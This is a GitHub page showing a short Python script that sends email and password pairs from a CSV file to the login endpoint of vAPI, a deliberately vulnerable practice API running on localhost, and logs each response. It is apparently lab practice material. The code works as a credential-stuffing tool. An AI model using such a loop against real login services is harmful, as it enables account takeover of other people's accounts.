-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathpost-json-fuzzer.py
34 lines (26 loc) · 973 Bytes
/
post-json-fuzzer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests, csv
# Testing on self-hosted vulnerable API: https://github.com/roottusk/vapi
url = 'http://127.0.0.1/vapi/api2/user/#'
def login(email, password):
payload = {'email': email.rstrip(),'password': password.rstrip()}
response = requests.post(url, json=payload)
return response
# Creating credentials tuple from csv
with open('creds.csv', newline='') as f:
reader = csv.reader(f)
credentials = [tuple(row) for row in reader]
'''
# Creating credentials tuple from 2 seperate files
with open('emails.txt', 'r') as f:
emails = f.readlines()
with open('passwords.txt', 'r') as f:
passwords = f.readlines()
credentials = zip(emails, passwords)
'''
# Saving responses to results.txt
with open('results.txt', 'a') as f:
for cred in credentials:
e, p = cred
response = login(e, p)
f.write(str(response.status_code) + ' ' + str(response.json()) + '\n')
f.close()